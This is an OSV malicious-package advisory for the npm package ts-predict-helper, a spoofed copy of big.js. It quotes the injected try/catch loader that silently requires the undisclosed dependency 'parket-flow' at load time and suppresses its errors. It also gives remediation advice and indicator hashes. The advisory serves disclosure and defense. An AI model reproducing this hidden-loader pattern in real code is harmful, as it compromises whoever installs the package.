MAL-2026-6322

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-predict-helper/MAL-2026-6322.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6322
Aliases
  • GHSA-mjf5-46pf-x3j7
Published
2026-06-23T15:27:33Z
Modified
2026-06-23T17:16:24.201913010Z
Summary
Malicious code in ts-predict-helper (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943)

Package is published as ts-predict-helper but ships a byte-equivalent copy of big.js v7.0.1's source and README (which states 'No dependencies'), along with spoofed package.json metadata pointing at MikeMcl/big.js and naming Michael Mclaughlin as author. Inside the otherwise-verbatim big.js source (around line 530) an injected try/catch block runs at module load: try { const doc = require("parket-flow"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The package declares an undisclosed runtime dependency on parket-flow ^3.0.1, which is unrelated to arbitrary-precision arithmetic and is the actual payload carrier. Any consumer who installs ts-predict-helper (e.g. via a copy-pasted install snippet) and require()s it will silently pull parket-flow into their dependency tree and invoke its from_str() API in-process, with all errors swallowed to hide failure. The combination of identity spoofing (verbatim README/source/author/repo metadata under an unrelated package name) and a hidden side-effect require at load time is a textbook trojan-loader supply-chain pattern; whatever code parket-flow ships executes in the installer's Node.js process.

Source: ghsa-malware (004f4fa9462c6d9a1c43590fa685757267eb90905ab2cb17c0af20f082ae9913)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "sha256": "47f41119c32d08f0399281ce4747c29907ce1ec9ebca0fa09ccdb8da9cce09e7",
            "import_time": "2026-06-23T16:54:12.872202659Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T16:11:22Z",
            "versions": [
                "3.7.1"
            ],
            "id": "IN-MAL-2026-007265"
        },
        {
            "sha256": "7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943",
            "import_time": "2026-06-23T16:54:13.371043245Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T16:11:25Z",
            "versions": [
                "3.7.0"
            ],
            "id": "IN-MAL-2026-007269"
        },
        {
            "sha256": "004f4fa9462c6d9a1c43590fa685757267eb90905ab2cb17c0af20f082ae9913",
            "id": "GHSA-mjf5-46pf-x3j7",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "modified_time": "2026-06-23T15:27:34Z",
            "source": "ghsa-malware",
            "import_time": "2026-06-23T17:03:25.707952019Z"
        }
    ]
}
References
Credits

Affected packages

npm / ts-predict-helper

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

3.*
3.7.0
3.7.1

Database specific

source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-predict-helper/MAL-2026-6322.json"
cwes
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
indicators
{
    "evidence_files": [
        {
            "tlsh": "08c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "sha256": "f53e21c5f0b91ea99ea861fb7eec48d15038692db83630cb8fdc099f94b7c503",
            "path": "big.js"
        },
        {
            "sha256": "0da91a0b74de81145798a608443ad0a388fc9feb6e5fc46c3654864e83bf5b85",
            "tlsh": "9b21f263c9a19da70af85b94bc6c03aaf1161b1f40a05c5bb07b130c4b7355b2096b79",
            "path": "package.json"
        }
    ]
}